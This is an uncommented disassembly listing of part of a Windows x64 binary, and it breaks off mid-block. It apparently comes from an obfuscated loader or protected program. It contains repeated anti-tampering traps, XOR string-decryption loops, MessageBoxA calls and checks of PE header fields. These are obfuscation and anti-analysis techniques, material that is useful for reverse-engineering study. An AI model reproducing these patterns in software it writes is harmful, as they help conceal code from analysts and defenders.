xor ecx, edx
call fcn.14008c368
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.140026e68
mov rdx, rax
mov r8, rdi
mov rcx, rsi
call fcn.1400aee20
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140019cc6
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019ca6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019ca6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019cc6
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140019d70
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019d50
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019d50
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019d70
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.140027564
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140019e28
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019e08
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019e08
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019e28
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140019ee5
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x2052728a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140019ec5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140019ec5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140019ee5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x140019f12
mov ebx, r15d
movabs r11, 0x8080808080808081
test r14, r14
je 0x14001a02b
mov rcx, r15
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, rsi
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov esi, edi
mov ecx, r15d
lea r11, [rbp + 0xfe8]
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xfe8]
mov rax, r13
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r11
cmp ecx, 8
jb 0x140019fa2
movzx ecx, r10b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc ebx
inc r9
movsxd rcx, ebx
cmp rcx, r14
jb 0x140019f85
mov rsi, qword [rbp - 0x40]
mov r13d, 0x29a87bfd
movabs r11, 0x8080808080808081
mov rax, qword gs:[7]
movabs r14, 0xf6959430e7eecbd0
cmp rax, r12
jne 0x14001a0df
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a0bf
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a0bf
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a0df
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x14001a189
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a169
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a169
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a189
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x14001a233
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a213
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a213
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a233
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rcx, qword gs:[7]
mov eax, 0x5a4d
cmp word [rsi], ax
je 0x14001a619
cmp rcx, r12
jne 0x14001a2fe
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x2052728a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a2de
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a2de
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a2fe
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008c368
int3
movdqa xmm0, xmmword [0x1400df4d0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0xbd
mov r10, r15
movabs rbx, 0x134d369a0
movabs rsi, 0x8080808080808081
movabs r8, 0x14820a03a0
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2904140740
movabs r13, 0x134d3699f
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14001a352
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x1400df4e0]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400df4b0]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400df550]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x46e0bf7c
mov dword [rbp + 0xc8c], 0x97afc987
mov dword [rbp + 0xc90], 0xeb791392
mov word [rbp + 0xc94], Ordinal_143
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x4996602b20
movabs r11, 0x932cc05640
mov r13d, 0x29a87bfd
movabs r14, 0x134d3699f
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14001a43a
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[7]
cmp rax, r12
movabs r14, 0xf6959430e7eecbd0
jne 0x14001a56b
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a54b
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a54b
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a56b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140026033
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a5f9
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a5f9
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026033
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
cmp rcx, r12
jne 0x14001a6ba
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a69a
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a69a
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a6ba
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[7]
cmp rax, r12
jne 0x14001a785
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x2052728a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a765
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a765
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a785
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x14001ab58
cmp rax, r12
jne 0x14001a852
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x2052728a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001a832
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001a832
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001a852
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
movdqa xmm0, xmmword [0x1400df4d0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 0xbd
mov r10, r15
movabs rbx, 0x134d369a0
movabs rsi, 0x8080808080808081
movabs r8, 0x14820a03a0
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2904140740
movabs r13, 0x134d3699f
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14001a8a6
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x1400df4e0]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400df4c0]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400df550]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x46e0bf7c
mov dword [rbp + 0xccc], 0x97afc987
mov dword [rbp + 0xcd0], 0xeb791392
mov word [rbp + 0xcd4], Ordinal_143
mov r9, r15
movabs r8, 0x4996602b20
mov r10d, 0x3d
movabs r11, 0x932cc05640
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14001a97e
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[7]
cmp rax, r12
jne 0x14001aaaa
mov rax, qword gs:[0x38]
mov ecx, 0x29a87bfd
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001aa8a
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001aa8a
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001aaaa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, r12
jne 0x140026033
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ab38
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ab38
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026033
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
cmp rax, r12
jne 0x14001abfe
mov rax, qword gs:[0x38]
mov ebx, 0x29a87bfd
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001abde
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001abde
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001abfe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400df6e0]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0x875cd58f
mov dword [rbp + 0x98c], 0x411326a3
mov dword [rbp + 0x990], 0x3ee61414
mov word [rbp + 0x994], 0x9a5e
mov byte [rbp + 0x996], al
mov r8, r15
movabs rsi, 0x134d3699f
movabs r9, 0x2430c660c0
lea r10d, [rax + 0x1e]
movabs r12, 0x134d369a0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x48618cc180
cmp r9, rax
jb 0x14001ac73
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400df7d0]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400df460]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
movabs rbx, 0x4acb3394c0
movabs r9, 0x256599ca60
mov r10d, Ordinal_33
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xad8]
xor dil, r8b
mov byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, rbx
jb 0x14001ad2c
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.140026040
mov rax, qword gs:[7]
mov esi, 0x6b0da058
cmp rax, rsi
mov ebx, 0x29a87bfd
jne 0x14001ae9d
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ae7d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ae7d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ae9d
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001af47
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001af27
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001af27
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001af47
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
xor ecx, ecx
call fcn.140090a94
mov rcx, rax
call fcn.14008c374
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b000
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001afe0
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001afe0
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b000
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b0aa
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b08a
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b08a
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b0aa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b154
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b134
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b134
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b154
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
mov edi, 0x2052728a
cmp rax, rsi
jne 0x14001b213
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b1f3
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b1f3
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b213
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b2ce
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b2ae
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b2ae
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b2ce
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b378
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b358
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b358
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
